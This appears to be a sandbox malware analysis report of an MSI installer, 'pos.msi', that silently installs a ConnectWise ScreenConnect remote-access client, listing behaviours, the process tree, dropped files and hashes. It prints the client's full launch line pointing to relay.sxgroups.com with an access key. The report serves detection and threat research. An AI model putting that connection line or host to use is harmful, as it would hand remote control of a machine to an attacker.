Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • max time kernel
    900s
  • max time network
    886s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 17:01

General

  • Target
    pos.msi
  • Size 12.7MB
  • Sample260820-vjprjsfq9s
  • SHA256 dd43f9d076ec75fea2352a0b21913415855dba4929a1a263efb3c87f0c2affe2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\pos.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4684
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:6032
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 09861DF6E45FF27A80CEEF17A9C3487D C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:120
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7CD7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240746125 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4072
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5832
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 33B89D6884135A0B8EDCA61893ACA74E
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3132
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 456BD3826534FEE71D8B189114AA9B28 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5424
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:828
    • C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.sxgroups.com&p=8041&s=cba4d777-f2bd-4204-a34a-a56f35457d72&k=BgIAAACkAABSU0ExAAgAAAEAAQDRUjgbOa03jMqfJoNbILolqVdQe76YcF3nEgeFgjkY4R18XX2SFu0QDel1Du1jQWN17EqhH9O0CAm8JFOGliyS98w6B2IZnZ8YgPdeRrT%2bIo8TsLGHcAo1YL5lKIcRl6bss8ftnFktxvBzMLeYfRZLURYy2HPo6jrOKrFxIouof47eRPuCm2Q0AogCAivH6jEfD5NoIcUNbUhCT7fjQcobzxgqejJBeA24LvGj3k0LyruRcIjJ5H0W5a1YDrAVogFniX1eLLqGd0RuOwDQYCkiQiEPPtPXoHjQDu2FXjEy3FJvISh%2b0M3%2f0wdO%2fp72k%2bdbjTyOiUklWMqO1oyZs82p&t=POPIPA"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3168
      • C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.WindowsClient.exe" "RunRole" "f54b706f-45cd-4a9b-bd81-9f4f2e3685ca" "User"
        2⤵
        • Executes dropped EXE
        PID:2232
      • C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.WindowsClient.exe" "RunRole" "070a8f76-4c4a-42f5-b23c-e9cec1d5e68a" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2780
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:4680
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
        1⤵
          PID:4024

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              e59e66f.rbs

              • Path C:\Config.Msi\e59e66f.rbs
              • Size 214KB
              • SHA256 eccc7ec9348d04cbe8c7f68b4ef609b79cf137ad8ecf5da1ad13488ec39bf2fc
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.Override.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\Client.Override.en-US.resources
              • Size 347B
              • SHA256 5748a4bb4cc8e1e9bb3832e1f9e8914038a1b97d2c7523ec342e596317208fb8
              • MD5 SHA1 SHA512 TLSH

              Client.Override.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\Client.Override.resources
              • Size 5KB
              • SHA256 e15e9d01d8049ff1e1b01e8e9845df20a4c80a9cf883aa84e0e407a2d865b8e3
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\Client.en-US.resources
              • Size 48KB
              • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\Client.resources
              • Size 26KB
              • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Client.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.Client.dll
              • Size 192KB
              • SHA256 d37f58aae6085c89edd3420146eb86d5a108d27586cb4f24f9b580208c9b85f1
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.ClientService.dll
              • Size 66KB
              • SHA256 c76f1f28c5289758b6bd01769c5ebfb519ee37d0fa8031a13bb37de83d849e5e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.ClientService.exe
              • Size 93KB
              • SHA256 512f9d035e6e88e231f082cc7f0ff661afa9acc221cf38f7ba3721fd996a05b7
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsAuthenticationPackage.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.WindowsAuthenticationPackage.dll
              • Size 254KB
              • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.WindowsClient.exe
              • Size 587KB
              • SHA256 9cfd2c521d6d41c3a86b6b2c3d9b6a042b84f2f192f988f65062f0e1bfd99cab
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe.config

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.WindowsClient.exe.config
              • Size 266B
              • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
              • MD5 SHA1 SHA512 TLSH

              ScreenConnect.WindowsCredentialProvider.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\ScreenConnect.WindowsCredentialProvider.dll
              • Size 822KB
              • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              app.config

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\app.config
              • Size 1KB
              • SHA256 53cf5b4d71d36556d9717135500b50ad590a63451b5e3813d044225f8ecc74e1
              • MD5 SHA1 SHA512 TLSH

              system.config

              • Path C:\Program Files (x86)\ScreenConnect Client (4a83dc591ea426f0)\system.config
              • Size 934B
              • SHA256 73a7760407f2b05777d2e87c6091f9d20d95085f45f831f6ea11f1b25a78f724
              • MD5 SHA1 SHA512 TLSH

              MSI7CD7.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\MSI7CD7.tmp
              • Size 1.0MB
              • SHA256 4bb0e9b5c70e3caeb955397a4a3b228c0ea5836729202b8d4ba1be531b60dafc
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Microsoft.Deployment.WindowsInstaller.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI7CD7.tmp-\Microsoft.Deployment.WindowsInstaller.dll
              • Size 172KB
              • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Core.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI7CD7.tmp-\ScreenConnect.Core.dll
              • Size 536KB
              • SHA256 4d4bf19ad99827f63dd74649d8f7244fc8e29330f4d80138c6b64660c8190a53
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.InstallerActions.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI7CD7.tmp-\ScreenConnect.InstallerActions.dll
              • Size 11KB
              • SHA256 25c495fb28889e0c4d378309409e18c77f963337f790fedfbb13e5cc54a23243
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Windows.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI7CD7.tmp-\ScreenConnect.Windows.dll
              • Size 1.6MB
              • SHA256 abca7cf12937da14c9323c880ec490cc0e063d7a3eef2eac878cd25c84cf1660
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSIF024.tmp

              • Path C:\Windows\Installer\MSIF024.tmp
              • Size 202KB
              • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
              • MD5 SHA1 SHA512 SSDEEP TLSH

              e59e66e.msi

              • Path C:\Windows\Installer\e59e66e.msi
              • Size 12.7MB
              • SHA256 dd43f9d076ec75fea2352a0b21913415855dba4929a1a263efb3c87f0c2affe2
              • MD5 SHA1 SHA512 SSDEEP TLSH

              metadata-2

              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
              • Size 26.1MB
              • SHA256 5681780d81fa68b2ec87b06bbefa19213fde0d56aa27373ee615daf98ee10d82
              • MD5 SHA1 SHA512 SSDEEP TLSH

              {b300658c-9775-4c95-8a5f-9ba45a780553}_OnDiskSnapshotProp

              • Path \??\Volume{c61fbfff-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{b300658c-9775-4c95-8a5f-9ba45a780553}_OnDiskSnapshotProp
              • Size 6KB
              • SHA256 89345f17109b062370476463ab84bcd0485972b7ffda400cd19ebb703e0c9926
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/2232-116-0x0000000000290000-0x0000000000326000-memory.dmp

              memory/2232-122-0x0000000002480000-0x0000000002498000-memory.dmp

              memory/2232-121-0x0000000000C90000-0x0000000000CA8000-memory.dmp

              memory/2232-120-0x000000001B730000-0x000000001B8B8000-memory.dmp

              memory/2232-119-0x000000001B580000-0x000000001B72A000-memory.dmp

              memory/2232-118-0x000000001B340000-0x000000001B3CC000-memory.dmp

              memory/2232-117-0x00000000024E0000-0x0000000002516000-memory.dmp

              memory/3168-104-0x0000000003D80000-0x0000000003DC1000-memory.dmp

              memory/3168-75-0x0000000003A70000-0x0000000003A88000-memory.dmp

              memory/3168-101-0x0000000003D40000-0x0000000003D76000-memory.dmp

              memory/3168-106-0x0000000004230000-0x0000000004302000-memory.dmp

              memory/3168-97-0x0000000003CF0000-0x0000000003D40000-memory.dmp

              memory/3168-102-0x0000000004040000-0x00000000040D2000-memory.dmp

              memory/4072-18-0x0000000004140000-0x000000000416E000-memory.dmp

              memory/4072-22-0x0000000004110000-0x000000000411A000-memory.dmp

              memory/4072-26-0x0000000006210000-0x000000000629C000-memory.dmp

              memory/4072-30-0x0000000006450000-0x00000000065FA000-memory.dmp

              memory/4072-31-0x0000000006BC0000-0x000000000717A000-memory.dmp